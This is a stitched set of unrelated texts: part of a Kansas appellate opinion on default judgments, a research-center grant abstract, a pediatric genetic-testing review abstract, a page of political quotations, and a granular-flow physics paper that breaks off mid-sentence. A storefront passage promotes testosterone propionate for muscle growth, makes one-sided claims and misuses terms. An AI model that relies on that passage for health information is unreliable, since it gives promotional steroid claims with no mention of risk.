60- 260(b)(3) based on fraud. Fraud typically must be proven by clear and convincing evidence, and K.S.A. 60-260(b)(3) is no exception. Nonetheless, the overly broad generalization in Lee has crept into Kansas caselaw. [Citations omitted.]" In re Marriage of Mullokandova, 2013 WL 5422358, at *3. After this court questioned imposing a clear and convincing evidence standard in In re Marriage of Mullokandova, our Supreme Court issued Garcia, which reiterated that any doubts in analyzing a motion to set aside a judgment should be resolved in the movant's favor. The Garcia court also found that "K.S.A. 60-260(b)(6) 'is to be liberally construed to preserve the delicate balance between the conflicting principles that litigation be brought to an end and that justice be done in light of all the facts.'" 303 Kan. at 570 (quoting In re Estate of Newland, 240 Kan. 249, 260, 730 P.2d 351 [1986]). These standards for a motion to set aside are arguably less onerous than the clear and convincing evidence standard. See In re Marriage of Mullokandova, 2013 WL 5422358, at *3. The Garcia court also failed to mention such an elevated standard on the movant. 14 It should be noted that the district court never specifically stated that it required the Defendants to meet a clear and convincing standard of proof. Instead, it simply mentioned the standard as part of a brief summary of Kansas laws regarding motions to set aside default judgments. Like the court in In re Marriage of Mullokandova, however, we assume without deciding that the usual civil standard of a preponderance of the evidence is appropriate in evaluating whether to set aside a default judgment. Assuming the district court applied incorrect legal standards, we next consider whether this error is harmless. See K.S.A. 2018 Supp. 60-261 ("At every stage of the proceeding, the court must disregard all errors and defects that do not affect any party's substantial rights."); K.S.A. 60-2105; cf. State v. Ultreras, 296 Kan. 828, 845, 295 P.3d 1020 (2013) ("[T]he application of an erroneous standard and burden of proof when ruling on a motion to dismiss that is based on a claim of immunity may be harmless error."). Because any error relates to the application of a statutory right, we must be persuaded that there is no reasonable probability that the error affected the outcome of the district court's order given the entire record for it to be considered harmless. State v. McCullough, 293 Kan. 970, 983, 270 P.3d 1142 (2012). We are persuaded there is no reasonable probability that the error affected the outcome of the district court's order. Additionally, reasonable persons could agree with the district court's decision to deny Defendants' motion to set aside the default judgments. Here, the district court recognized that Kansas law disfavors default judgments in matters that involve large sums of money. The district court also specifically cited to the Garcia decision, wherein the Kansas Supreme Court affirmed the trial court's ruling to set aside a default judgment when the movant had meritorious defenses. The district court, however, spent considerable time distinguishing Garcia and concluded: 15 "The Court recognizes that $404,462.11 plus interest and costs is a large sum of money; however . . . this large sum does not outweigh [Defendants'] failure to demonstrate excusable neglect or meritorious defenses. . . . [Defendants'] inaction has frustrated the administration of justice, and although courts disfavor default judgments, the circumstances in this case are such that a default judgment is merited." K.S.A. 2018 Supp. 60-260(b)(6) allows a district court to set aside a default judgment for any reason that justifies relief. Again, the Montez factors are "viable benchmarks for judicial discretion" when deciding motions to set aside judgments, but they should not be rigidly adhered to when determining whether any reason justifies relief under subsection (b)(6). Garcia, 303 Kan. at 570. As the district court recognized, the factual circumstances in this case differ from those in Garcia. In Garcia, one month after the district court granted default judgment, the defendant moved to set aside the judgment arguing that the statute of limitations had run and the plaintiff had failed to state a claim for relief. The district court granted the defendant's motion because the law dislikes default judgments and the defendant had meritorious defenses. The Garcia court held that the district court did not abuse its discretion in granting the defendant's motion to set aside the default judgment under subsection (b)(6). 303 Kan. at 571. Our Supreme Court found that the district court's judgment was reasonable, in part, because of "the factual circumstance that [the defendant] had a meritorious defense" which was readily discernable from the plaintiff's petition. 303 Kan. at 568. Unlike the one-month period in Garcia, Defendants in this case waited significantly longer before moving to set aside the default judgments. Brautman waited 360 days before moving to set the judgment aside. Native and Foxbarry waited over eight months before seeking relief. After Defendants moved to set aside the default judgments, they failed to personally appear at the hearing on their motion. This caused additional obstacles and delays because an affidavit by Brautman was needed in lieu of Defendants' 16 anticipated testimony. These actions and inactions supported the district court's finding that Defendants frustrated the administration of justice. The district court also found that the Defendants failed to demonstrate any meritorious defenses. In this regard, movants must do more than just allege they have a meritorious defense, instead they must demonstrate a meritorious defense or impaired interest. AkesoGenX Corp. v. Zavala, 55 Kan. App. 2d 22, 48-49, 407 P.3d 246 (2017), rev. denied 308 Kan. 1593 (2018). In AkesoGenX—a case the district court heavily relied on—our court rejected the movant's meritorious defense claims because he failed to present evidence that the plaintiff's claims of breach of fiduciary duty and conversion were false. The AkesoGenX court then affirmed the district court's denial of the motion to set aside the default judgment, noting that the movant failed to explain why he had a meritorious defense, and finding that he admitted he was simply ignoring the lawsuit, hoping it would go away. 55 Kan. App. 2d at 49. As the district court in this case found, most of Defendants' defenses were general denials or alleged counterclaims with no corresponding evidence proffered to support the assertions. Moreover, unlike Garcia, no defenses are evident from the petition filed by FSST. Although Brautman argues he did not sign the contracts in his individual capacity, he does not explain how this defense absolves him of liability on the several claims not based in contract. Additionally, other than suggesting that piercing the corporate veil is difficult, Brautman provided no defense to FSST's alter ego claims. As in AkesoGenX, Defendants proffered no evidence or otherwise demonstrated they had a meritorious defenses. While courts do not favor default judgments, using the Montez factors as viable benchmarks, we cannot say the district court committed reversible error by denying the Defendants' motion to set aside the default judgments. 17 We also find there is no reasonable probability that the claimed use of incorrect legal standards affected the outcome of the district court's order. As discussed earlier, the district court heavily relied on the analysis in AkesoGenX—a case relying on the law in Garcia—while carefully justifying why the two cases required different outcomes. Upon our consideration of the entire record, we conclude any error by the district court was harmless. Affirmed. 18
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In 2007, the University of Alabama at Birmingham (DAB) and its affiliates completed three important, large-scale strategic planning efforts. Together, these processes generated a "blueprint for our research future" that lays the foundation to transform our substantial clinical and translational research enterprise through integration and innovation across all disciplines, Schools, and our health care system. This transformation will be driven by the DAB Center for Clinical and Translational Science (CCTS). The CCTS vision is to transform the DAB environment by building productive and efficient interdisciplinary research teams through educational ingenuity, regulatory reorganization, resource coordination, and methodological innovation. The mission is to develop a transformative infrastructure that spans the spectrum from preclinical research to bench-to-bedside translation (T1 research) to community implementation (T2 research), and will meet 5 goals: 1) transform the Investigator;2) transform the Training Environment;3) transform the Resource Infrastructure;4) transform the Approach to Interdisciplinary Research via an emphasis on outcomes research and health disparities research;and 5) establish a new Research Model through the Self-Monitoring and Improvement Program. To meet these goals, the CCTS will rely on: 1) a re-organized reporting structure that assures the PI full institutional support in implementing the CCTS roadmap;2) a revised CCTS leadership that includes faculty from the Schools of Medicine, Public Health, Nursing, Health Professions, and Optometry;and 3) innovative partnerships involving UAB, Southern Research Institute (our affiliated, not-for-profit research organization for preclinical drug discovery/development), the Children's Health System, the HudsonAlpha Institute for Biotechnology, the greater Birmingham community, and a long-standing collaborative network that involves Historically Black Colleges and Universities (HBCUs) and underprivileged communities in our region. UAB, the Health System, Health Services Foundation, Research Foundation, and Southern Research Institute have made substantial commitments to the CCTS including: 1) significant new funding for the clinical and translational research infrastructure (~$150 million, of which over $18 million are directly for CCTS activities and programs);2) a redesigned and enhanced biomedical informatics infrastructure;and 3) over 20,000 sf of prime clinical and administrative space. When combined, the re-organized CCTS governance and leadership, the substantial commitment of funds and resources, the interdisciplinary culture of UAB, and the new CCTS programs, will create a transformed environment for clinical and translational research that will benefit our trainees, investigators, patients, community, and the national CTSA effort.
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At-home genetic testing in pediatrics. This review discusses the state of at-home genetic testing, including both direct-to-consumer and consumer-directed genetic testing, for children. At-home genetic testing continues to increase in popularity and laboratories are starting to offer tests geared towards newborns and children. Available at-home genetic tests for children address ancestral descent, supplement newborn screening, or provide risks for childhood and adult-onset disorders as well as pharmacogenomic data. However, there are aspects of at-home testing that are unique to children that both providers and parents need to be aware of before considering this type of testing; these include issues related to motivations for testing; privacy concerns; result interpretation; ethical, legal and social implications; and impact on family relationships, among others. This review addresses the challenges associated with at-home genetic testing in children and provides guidance for pediatricians and other health care providers who field inquiries about this type of testing or who are presented with at-home genetic test results for interpretation.
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If you have trouble logging into your account please reset your password, if you have any issues please email us. Please review your shipping information before order is placed and after to ensure it is the correct information. Thank you. So how exactly does Testosterone Propionate build muscle? Testosterone Propionate promotes nitrogen retention in the muscle , and the more nitrogen the muscles hold the more protein the muscles store, and the bigger the muscles get. Testosterone Propionatecan also increase the levels of another anabolic hormone, IGF-1, in muscle tissue. IGF-1 is alone highly anabolic and can promote muscle growth. It is responsible for much of the anabolic activity of Growth Hormone (GH). IGF-1 is also one of the few hormones positively correlated with both muscle cell hyperplasia and hyperphasia (this means it both creates more muscle fibers as well as bigger fibers). All of this might lead one to speculate that for pure mass, IGF-1, HGH, and Testosterone Propionate would be a very effective combination. Testosterone Propionate also has the amazing ability to increase the activity of satellite cells. These cells play a very active role in repairing damaged muscle. Testosterone also binds to the androgen receptor (A.R.) to promote all of the A.R dependent mechanisms for muscle gain and fat loss , but clearly, as we've seen, this isnt the only mechanism by which it promotes growth.
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Freedom Quotes Thomas Jefferson, the central founder of the Democratic Party, and third president of the United States: “… a wise and frugal Government, which shall restrain men from injuring one another, shall leave them otherwise free to regulate their own pursuits of industry and improvement, and shall not take from the mouth of labor the bread it has earned. This is the sum of good government….” (source: First Inaugural address, 1801) Camille Paglia, author, social critic, and Democrat: “Government has become a fat, lazy behemoth, spawning parasitic bureaucracies resistant to reform. … We need a more radical reduction in taxation as well as a stripping down of government agencies to essential social services. Funding is imperative for public education, public transportation, repair of roads and bridges and free medical clinics for the poor. But hundreds of millions of dollars are being wasted on boondoggle projects … and on unnecessary foreign-aid allotments that get diverted to middlemen and corrupt politicos overseas.” (source: March 21, 2001 article from Salon.com) Tim Penny, a former six-term Democratic congressman from Minnesota, who is now a director of the Hubert Humphrey Institute Policy Forum: “In Washington today, small is beautiful and both Republicans and Democrats need to better articulate the means of reducing the size and scope of government.” (Cato Policy Report, 11/14/1996) William Proxmire, Democratic Senator from Wisconsin from 1957 to 1988 and creator of the Golden Fleece Award: “I have spent my career trying to get Congressmen to spend the people’s money as if it were their own.” “Power always has to be kept in check; power exercised in secret, especially under the cloak of national security, is doubly dangerous.” Suzanne La Follette (author of Concerning Women): “Even if we assume that the establishment of legal equality before the sexes would result in complete social and economic equality, we are obliged to face the fact that under such a regime women would enjoy precisely that degree of freedom which men now enjoy – that is to say, very little. …” “[T]he essential nature of freedom…comes out in the abolition of monopoly, primarily monopoly of natural resources…. It is freedom to produce, and its corollary, freedom to exchange.”
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--- abstract: 'Both discrete and continuum models have been widely used to study rapid granular flow, discrete model is accurate but computationally expensive, whereas continuum model is computationally efficient but its accuracy is doubtful in many situations. Here we propose a hybrid discrete-continuum method to profit from the merits but discard the drawbacks of both discrete and continuum models. Continuum model is used in the regions where it is valid and discrete model is used in the regions where continuum description fails, they are coupled via dynamical exchange of parameters in the overlap regions. Simulation of granular channel flow demonstrates that the proposed hybrid discrete-continuum method is nearly as accurate as discrete model, with much less computational cost.' address: - 'State Key Laboratory of Multiphase Complex Systems, Institute of Process Engineering, Chinese Academy of Sciences, Beijing 100190, P. R. China' - 'University of Chinese Academy of Sciences, Beijing, 100049, P. R. China' author: - Xizhong Chen - Junwu Wang - Jinghai Li bibliography: - 'hybrid.bib' title: 'Multiscale modeling of rapid granular flow with a hybrid discrete-continuum method' --- Hybrid discrete-continuum method, Multiscale simulation, Discrete Element Model, Continuum model, Granular flow Introduction ============ Granular matter which consists of macroscopic particles can widely be found in nature and in industry [@jaeger1996granular; @yang1998fluidization]. A better understanding of granular matter is not only desirable for physicists, but also for engineers from various sectors, such as mining, pharmaceutical and chemical industries [@andreotti2013granular]. Extensive theoretical, numerical and experimental studies have been devoted to this fascinating area [@goldhirsch2003rapid; @aranson2006patterns; @luding2009towards], however, our understanding is still far from satisfactory after several decades’ efforts due to its dissipative, non-linear and non-equilibrium characteristics, reflected by the lack of a general theory for describing its hydrodynamics [@goldhirsch2003rapid; @kadanoff1999built]. To simulate granular flow, both macroscopic continuum model and microscopic discrete model have been extensively used [@brilliantov2004kinetic; @poschel2005computational]. Continuum model, solving the conservation equations of mass, momentum and energy, is very useful for analyzing and designing industrial processes involving a large number of discrete particles. However, it is much less mature compared with the classical fluid mechanics theory for molecular gas or liquid fluid, mainly due to the dissipative nature of particle-particle interactions and the resultant lack of scale separation [@goldhirsch1999scales; @goldhirsch2003rapid], and the formation of heterogeneous structures, such as particle clustering structure [@goldhirsch1993clustering]. Continuum method may also be inadequate in situations when no accurate boundary condition can be formulated or due to the existence of Knudsen layer [@campbell1993boundary; @galvin2007role]. On the other hand, discrete model [@cundall1979discrete] tracks the motion of each particle according to Newton’s law, and accordingly, provides detailed information about the dynamics of granular flow. Unfortunately, discrete model is computationally extremely demanding for engineering applications. In this study, a hybrid discrete-continuum method is developed for modelling granular flow, taking the merits of both continuum and discrete methods but discarding their drawbacks. The idea is to concurrently couple physical descriptions at different scales to solve the dilemma that has been described, as in the hybrid atomistic-continuum methods for rarefied gas flows [@wadsworthone1990hybrid], dense fluids [@kalweit2008multiscale; @mohamed2010review] and solid mechanics [@miller2009unified]. Continuum model is used to model the majority of simulation domain while discrete method is used within the domains where continuum description is inadequate. Method {#sec:method} ====== Continuum method ---------------- The hybrid discrete-continuum method is based on domain decomposition as illustrated in Fig.\[fig:1\]. ![\[fig:1\] Schematic of the granular channel flow simulated by the hybrid discrete-continuum method. The simulation domain is divided into a continuum region located at the center of the channel and two discrete regions near the two side walls. They coincidentally have two overlap regions and each overlap region is further divided into three parts: a discrete boundary layer $\left(x_{2}\sim x_{3}\right)$, a buffer layer $\left(x_{1}\sim x_{2}\right)$ and a continuum boundary layer $\left(x_{0}\sim x_{1}\right)$. ](Fig1.pdf) The method has been used in the study of micro- and nano-fluid flow [@mohamed2010review; @kalweit2008multiscale; @wijesinghe2004discussion]. The simulation domain is divided into a continuum region located at the center of the channel and two discrete regions near the two side walls. Two overlap regions are constructed to ensure the continuity of mass and momentum in the entire simulation domain. In the continuum region, Navier-Stokes equation combined with kinetic theory of granular flow is applied [@lun1984kinitic]. The governing equations are numerically solved with finite difference method on a staggered grid [@kuipers1993computer; @van2006multiscale]. The mass and momentum conservation equations are given as follows, $$\frac{\partial }{{\partial t}}\left( {{\phi _s}{\rho _s}} \right) + \nabla \cdot \left( {{\phi _s}{\rho _s}{{\bf{U}}_c}} \right) = 0$$ $$\frac{\partial }{{\partial t}}\left( {{\phi _s}{\rho _s}{{\bf{U}}_c}} \right) + \nabla \cdot \left( {{\phi _s}{\rho _s}{{\bf{U}}_c}{{\bf{U}}_c}} \right) = - \nabla {p_s} + \nabla \cdot {{\bf{\tau }}_s}$$ where ${p_s}$ and ${{\bf{\tau }}_s}$ are the granular pressure and solid stress tensor, respectively. The stress tensor is linearly related to the rate-of-strain tensor, $${{\bf{\tau }}_s} = {\mu _s}\left( {\nabla {{\bf{U}}_c} + \nabla {{\bf{U}}_c}^T} \right) + \left( {{\lambda _s} - \frac{2}{3}{\mu _s}} \right)(\nabla \cdot{{\bf{U}}_c}){\bf{I}}$$ where ${\mu _s}$ is shear viscosity and ${\lambda _s}$ is bulk viscosity. The particulate phase stresses are closed using kinetic theory of granular flow which solves a separate conservation equation for granular temperature. $$\frac{3}{2}\left[ {\frac{{\partial \left( {{\phi _s}{\rho _s}{\Theta _s}} \right)}}{{\partial t}} + \nabla \cdot\left( {{\phi _s}{\rho _s}{{\bf{U}}_c}{\Theta _s}} \right)} \right] = \left( { - {p_s}{\bf{I}} + {{\bf{\tau }}_s}} \right):\nabla {{\bf{U}}_c} + \nabla \cdot\left({{k_s}\nabla {\Theta _s}}\right) - \gamma$$ where ${k_s}$ is heat conductivity of granular phase given by: $${k_{_s}} = \frac{{150{\rho _s}{d_p}\sqrt {{\Theta _s}\pi } }}{{384\left( {1 + e} \right){g_0}}}{\left[ {1 + \frac{6}{5}{\phi_s}{g_0}\left( {1 + e} \right)} \right]^2} + 2{\rho _s}\phi_s^2{d_p}\left( {1 + e} \right){g_0}\sqrt {\frac{{{\Theta _s}}}{\pi }}$$ The solids pressure, shear and bulk viscosity are expressed as: $${p_s} = {\phi_s}{\rho _s}{\Theta _s} + 2{\rho _s}\left( {1 + e} \right)\phi_s^2{g_0}{\Theta _s}$$ $${\mu _s} = \frac{4}{5}{\rho _s}{d_p}\phi_s^2{g_0}\left( {1 + e} \right)\sqrt {\frac{{{\Theta _s}}}{\pi }} + \frac{{{\phi_s}{\rho _s}{d_p}\sqrt {\pi {\Theta _s}} }}{{6(3 - e)}}\left( {1 + \frac{2}{5}\left( {1 + e} \right)\left( {3e - 1} \right){\phi_s}{g_0}} \right)$$ $${\lambda _s} = \frac{4}{3}{\phi_s}{\rho _s}{d_p}{g_0}\left( {1 + e} \right)\sqrt {\frac{{{\Theta _s}}}{\pi }}$$ The energy dissipation due to inelastic collision is expressed as: $$\gamma = \frac{{12\left( {1 - {e^2}} \right){g_0}}}{{{d_p}\sqrt \pi }}{\rho _s}\phi_s^2\Theta _s^{{3 \mathord{\left/ {\vphantom {3 2}} \right. \kern-\nulldelimiterspace} 2}}$$ Within these formulations, ${g_0}$ is the radial distribution function that is given as follows: $${g_0} = {\left[ {1 - {{\left( {\frac{{{\phi_s}}}{{{\phi_{s,\max }}}}} \right)}^{{1 \mathord{\left/ {\vphantom {1 3}} \right. \kern-\nulldelimiterspace} 3}}}} \right]^{ - 1}}$$ The tangential velocity and granular temperature at the wall are calculated using Johnson and Jackson model [@johnson1987frictional]. $${u_{s,w}} = - \frac{{6{\mu _s}{\phi _{s,\max }}}}{{\sqrt 3 \pi \varphi {\rho _s}{\phi _s}{g_0}\sqrt {{\Theta _s}} }}\frac{{\partial {u_{s,w}}}}{{\partial n}}$$ $${\Theta _{s,w}} = - \frac{{{k_s}{\Theta _s}}}{{{\gamma _{s,w}}}}\frac{{\partial {\Theta _{s,w}}}}{{\partial n}} + \frac{{\sqrt 3 \pi \varphi {\rho _s}{\phi _s}u_{s,slip}^2{g_0}{\Theta _s ^{3/2}}}}{{6{\phi _{s,\max }}{\gamma _{s,w}}}}$$ Discrete method --------------- In the discrete regions, the linear spring-dashpot discrete element method [@cundall1979discrete; @ye2004numerical] is used: $${m_a}\frac{{d{{\bf{u}}_p}}}{{dt}} = \sum\limits_{b \in contactlist} {{{\bf{F}}_{ab,n}}}$$ In this model, the normal component of the contact force between two particles is calculated as follows: $${{\bf{F}}_{ab,n}} = - {k_n}{\delta _n}{{\bf{n}}_{ab}} - {\eta _n}{{\bf{u}}_{ab,n}}$$ where ${k_n}$ is the normal spring stiffness, ${\bf{n}}_{ab}$ is the normal unit vector, ${\eta _n}$ is the normal damping coefficient and ${\bf{u}}_{ab,n}$ is the normal relative velocity. The overlap ${\delta _n}$ is given by: $${\delta _n} = ({R_a} + {R_b}) - \left| {{{\bf{r}}_b} - {{\bf{r}}_a}} \right|$$ where ${R_a}$ and ${R_b}$ denote the radii of the interacting particles, ${{\bf{r}}_a}$ and ${{\bf{r}}_b}$ denote the position vector of the particles. The normal unit vector is defined as: $${{\bf{n}}_{ab}} = \frac{{{{\bf{r}}_b} - {{\bf{r}}_a}}}{{\left| {{{\bf{r}}_b} - {{\bf{r}}_a}} \right|}}$$ The normal component of the relative velocity between particle a and particle b is $${{\bf{u}}_{ab,n}} = \left( {{{\bf{u}}_{ab}} \cdot {{\bf{n}}_{ab}}} \right){{\bf{n}}_{ab}}$$ The normal damping coefficient is calculated as follows: $${\eta _n} = \frac{{ - 2\sqrt{{m_{ab}}{k_n}} \ln e}}{{\sqrt {{\pi ^2} + {{\ln }^2}e} }}$$ Note that (i) we start with the simplest kinetic theory, wall boundary condition and contact model available in literature to develop the hybrid multi-scale model, while more advanced kinetic theory [@garzo1999dense], wall boundary condition [@li2012revisiting; @soleimani2015comparison] and contact model [@di2004comparison] can be implemented later. (ii) In addition to its simplicity of linear spring-dashpot discrete element method, it leads to a constant restitution coefficient, which is in agreement with the basic assumption of kinetic theory of granular flow used here [@van2006multiscale; @schwager2007coefficient]. Hybrid method ------------- The simulation domain in hybrid method is divided into a continuum region located at the center of the channel and two discrete regions near the two side walls. They coincidentally have two overlap regions. The design of overlap region is the most critical part of the hybrid method and should be as simple as possible in order to guarantee the high efficiency of hybrid method over pure discrete method. In present study, the overlap region is further divided into three parts: a discrete boundary layer, a buffer layer and a continuum boundary layer. The boundary condition for continuum model is provided by discrete model through appropriately averaging the particle quantities as shown in the ${x_0} \sim {x_1}$ cell , i.e. $${\phi _J}{\rho _s} = \frac{1}{{{V_J}}}\sum\limits_{i \in J} {{m_i}}$$ $${\phi _J}{\rho _s}{{\bf{u}}_{J}} = \frac{1}{{{V_J}}}\mathop \sum \limits_{i \in J} {m_i}{{\bf{v}}_i}$$ $${\phi _J}{\rho _s}{\Theta _J} = \frac{1}{{3{V_J}}}\mathop \sum \limits_{i \in J} {m_i}\left( {{{\bf{v}}_i} - {{\bf{u}}_{J}}} \right) ^2$$ Where $i$ denotes a particular particle within the cell $J$, $m_i$ is its mass and ${{\bf{v}}_i}$ is its velocity, ${V_J}$ is the volume of cell $J$, ${\phi _J}$ is the solid volume fraction, ${\rho _s} $ is the particle mass density, ${{\bf{u}} _J}$ is the cell averaged particle velocity and ${\Theta _J}$ is the granular temperature of cell $J$. Because discrete region is terminated in the $x_{2}\sim x_{3}$ cell, the missed information should be remedied by continuum method. Handling the boundary condition from continuum to discrete method is a more subtle issue than the reverse. The related issue is that the degrees of freedom in the discrete description of particles are much greater than those of the continuum one. Here the dynamics of particles in the $x_{2}\sim x_{3}$ cell are constrained to match the continuum model via constraint dynamics [@o1995molecular]. The new velocity of particle $i$ located within cell $J$ is therefore given by: $${{\bf{\dot x}}_i} = {{\bf{v}}_i} + \xi \left( {{{\bf{u}}_c} - \frac{1}{{{N_J}}}\mathop \sum \limits_{i = 1}^{{N_J}} {{\bf{v}}_i}} \right)$$ Where $\bf{u}_c$ is the velocity of particle calculated by continuum method in the specific cell. The constraint strength $\xi$ is introduced to relax the particle momenta to the local continuum value and here we use a value of unity [@cosden2013hybrid; @nie2004continuum]. To maintain the mass conservation in discrete domain, a ghost wall and a flux monitor are placed at the termination of discrete domain $\left( x_{3}\right)$. Once a particle overlaps with the ghost wall, particle-wall collision will prevent the particle from freely drifting away from the discrete domain. The actual mass flux across the ghost wall is achieved through the flux monitor based on the local continuum flow fields. The number of particles to be inserted into or deleted from cell $J$ in a continuum interval is calculated by: $$n = ({{\bf{A}}_J} \cdot {{\bf{u}}_c}){\rm{ }}{\phi _J}{\rho _s}\Delta {t_c}/{m_i}$$ Where ${{\bf{A}}_J} \cdot {{\bf{u}}_c}$ is the normal flux of the cell $J$ calculated by the continuum method and $\Delta {t_c}$ is the time step of continuum method. $n$ is always rounded to integer since only a whole particle can be added or removed. The residue of particle is recorded and accumulated for the next event. If $n$ is negative, it indicates that mass flow out of discrete domain into continuum domain and thus $n$ particles closest to $x_{3}$ are deleted. Otherwise, if $n$ is positive then $n$ particles should be added. The new inserted particles are randomly located in the interface nearest $x_{3}$ provided that they do not overlap with the existed particles. Note that currently the way to insert particles may not work well in very dense granular flow and other more sophisticated methods should be implemented [@van2010particle; @markesteijn2011connecting]. The velocities of newly inserted particle are generated from Maxwell distribution with mean and standard deviation determined by the local continuum velocity and granular temperature as: $$f({\bf{x}},{{\bf{v}}_i}) = \frac{1}{{{{(2\pi {\Theta _c})}^{3/2}}}}\exp \left[ { - \frac{{{{({{\bf{v}}_i} - {{\bf{u}}_c})}^2}}}{{2{\Theta _c}}}} \right]$$ Where ${{\bf{u}}_c}$ and $\Theta_c$ are the average velocity and granular temperature calculated by continuum model. To minimize the effect of data exchange, a buffer layer lies between the continuum boundary layer and the discrete boundary layer is constructed. Note that a simpler hybrid method for homogeneous granular flow has been presented in [@chen2015hybrid]. Results {#sec:results} ======= We have selected the granular channel flow as an example to demonstrate the concept of hybrid discrete-continuum method. The reason is that the validation range of continuum model is not a priori known for general granular flow, but for channel flow studied here we could know in advance the places where continuum model fails, that is, continuum model validates in the center region but fails close to the walls. This choice significantly simplifies the problem we studied, because we don’t need a criterion to determine the places of overlap region. On the other hand, it has been shown that wall boundary condition has a great impact on the global behaviour of granular flow, it influences the stress state in its immediate vicinity and then propagates to the entire flow field [@campbell1993boundary]. This phenomenon occurs on the order of few particle sizes or within the Knudsen layer which usually cannot be handled by continuum model [@campbell1993boundary; @galvin2007role]. Therefore, it is also an excellent example to highlight the merits of hybrid discrete-continuum method. In the simulation of granular channel flow, due to the lack of scale separation of rapid granular flow [@goldhirsch2003rapid], the theoretical foundation underlying the average of DEM results for the boundary condition of continuum method is much less solid than that of ordinary gases, the calculated averaged properties may depend on the the number of particles used, therefore, in this study, two dimensional equations are solved in continuum region, while discrete simulations are three-dimensional with periodic boundary condition in y-direction, in order to increase the sample of particles for a better averaging. Particles are assumed to be smooth, uniform, and spherical. The diameter of particles denoted as $d$ is $1.2mm$ and the density is $2000kg/{m^3}$. The depth, length and height of the channel are $6.1d$, $100d$ and $666d$, respectively. The domain is divided into $20 \times 64$ structural cells. In hybrid simulation, the discrete regions span $0 \sim 35d$ (7 numerical cells) and $65 \sim 100d$, the continuum region spans $15 \sim 85d$ in $x$ direction. Thus, each overlap region has $30d$ (or 6 cells) in $x$ direction. Quantities sampled from the first 2 cells nearest to the pure discrete domain are used to provide boundary condition for continuum method due to the used staggered computational cell which means the scalar and vectorial variables are not saved at the same location but have half-cell dislocation, the next 3 cells are used as buffer layer and the last cell is the discrete boundary in which the particle dynamics are constrained by the local continuum state as have been described above. A zero gradient condition is assigned to the top outlet and the Johnson and Jackson boundary condition [@johnson1987frictional] is applied at the wall in the continuum simulation, where the particle-wall coefficient of restitution $e_w$ is the same as the particle-particle coefficient of restitution $e$ and the specularity coefficient $\varphi$ is zero. In discrete simulations, the particle-particle and particle-wall coefficient of normal restitution are the same as in continuum model and the coefficient of tangential restitution is unity to achieve the simulation of smooth particle [@poschel2005computational]. The stiffness of the linear spring model is $3000 N/m$ and simulation results are no longer sensitive to its further increase. The simulation time step is $1.0\times10^{-5}s$ and the statistics are collected over two million time steps after an initial million time steps.To highlight the merits of hybrid discrete-continuum method, each case is simulated using continuum method (CM), discrete method (DM) and hybrid method (HM), and the results of DM are used as the benchmark data for comparison. channel flow with uniform inlet velocity ---------------------------------------- In order to validate the hybrid discrete-continuum method, we begin with the simplest homogeneous case. Particles are inserted into the channel continuously from the bottom with a uniform inlet velocity $\left(2.0m/s\right)$ and the inlet solid volume fraction $\phi$ is 0.1. ![\[fig:2\] Radial distribution of mean solid volume fraction and particle velocity at the dimensionless height of 0.6.](Fig2.pdf) Fig.\[fig:2\] shows the results of radial solid volume fraction and particle velocity cross the channel. A perfect agreement between the results of all three methods is observed (the relative differences are below ${10^{ - 6}}$). However, although both CM and DM predict a homogeneous solid volume fraction cross the channel, it is well known that there is oscillation in solid concentration at about 5 particle diameters away from the channel wall [@benenati1962void]. To explore this phenomenon, we decrease the binning width used to calculate the mean value of solid concentration to $1.3d$ and reanalysis the simulation results of the discrete simulation. As expected, the solid volume fraction do oscillate near the wall as shown in Fig.\[fig:3\], which has also been reported by [@hartkamp2012study] and MRI measurement in a cylindrical container [@sederman2001structure]. Note that the details of oscillation depend on the size of bins used to calculate the mean value and smoother data can be obtained using a Gaussian kernel [@goldhirsch2010stress; @hartkamp2012study]. While the oscillations exist across the whole channel in DM, the magnitude is significant smaller in the center of the channel than the near wall regions. The solid volume fraction in the center converges to a bulk density since the effect of walls in this region disappears. Thus, the part of the channel between the vertical lines as shown in Fig.\[fig:3\] is simulated using continuum method. The near wall oscillations phenomenon is captured by HM in nature and this is expected to be much more important for gas-solid multiphase system and the heat transfer behaviour between solid particles and wall in fluidized beds [@tsuji2013effect]. ![\[fig:3\] Radial distribution of mean solid volume fraction at the dimensionless height of 0.6, the part of the channel between the vertical lines is simulated using continuum method. The coefficient of restitution $e=e_w=0.95$.](Fig3.pdf) channel flow with Parabolic inlet velocity ------------------------------------------ In this part, particles are inserted into the channel continuously from the bottom with a parabolic velocity ${U_z} = {U_m}\left( {1 - \frac{{{r^2}}}{{{R^2}}}} \right)$, where $U_m$ is the maximum particle velocity $\left(2.0m/s\right)$ in the center of the channel $\left(r=0\right)$, $R$ is half width of the channel and the inlet solid volume fraction $\phi$ is 0.1. ![\[fig:4\] Radial distribution of mean solid volume fraction at the dimensionless height of 0.6. The left inset shows the snapshots obtained using discrete method (DM), continuum method (CM) and hybrid method (HM), the right inset shows quantitative relative deviation.](Fig4.pdf) Fig.\[fig:4\] shows the radial distribution of mean solid volume fraction at the dimensionless height of 0.6 with $e=e_w=0.95$. The solid volume fraction distribution becomes inhomogeneous with the development of the flow, with a high density in the center and low density near the walls, as visualized in the left inset, the flow behaviour is qualitatively agreed with previous studies [@wang1997instabilities; @liu2006parametric]. The quantitative deviation relative to DM, defined as $\frac{{\phi_{HM}} - {\phi_{DM}}}{{\phi_{DM}}}$ or $\frac{{\phi_{CM}} - {\phi_{DM}}}{{\phi_{DM}}}$, is shown in the right inset. It can be seen that the simulation results from HM and DM are in a good agreement (within $10\%$ deviations), however, large deviations can be found in the near wall region between CM and DM. This is due to the fact that the range of the influence of particle-wall interaction is occurring over non-continuum scales (only spanning several particle diameters) as in previous studies [@campbell1993boundary; @galvin2007role]. The thickness of the Knudsen-layer is approximate $8d$ where large deviations (about $46\%$) is observed between CM and DM. However, although the particle-wall interaction only influences the stress state in its immediate vicinity, its effect can propagate to the entire flow field and finally result in a relatively large deviation at other parts of the simulation domain [@campbell1993boundary], for example, the relative deviation at $\frac{r}{R}\approx0.7$ are larger than $10\%$. Note that the agreement between HM and DM may be improved if a fluctuating continuum model is used to replace current continuum model, as evident in the counterpart of hybrid method for molecular flow [@de2006multiscale; @markesteijn2014concurrent]. Fig.\[fig:5\] shows the mean particle velocity and granular temperature across the channel at the dimensionless height of 0.6. Although both CM and DM predict a similar trend about the radial granular temperature profile, there is a relative large deviation between CM and DM as also observed in previous studies [@vescovi2014plane; @almazan2013numerical]. The granular temperature in the center part of the channel predicted by HM does not show a significant improvement although the particle velocity and granular temperature simulated by HM are closer to those of DM as shown in Fig.\[fig:5\]. ![\[fig:5\] Mean particle velocity and granular temperature at the dimensionless height of 0.6. The coefficient of restitution is 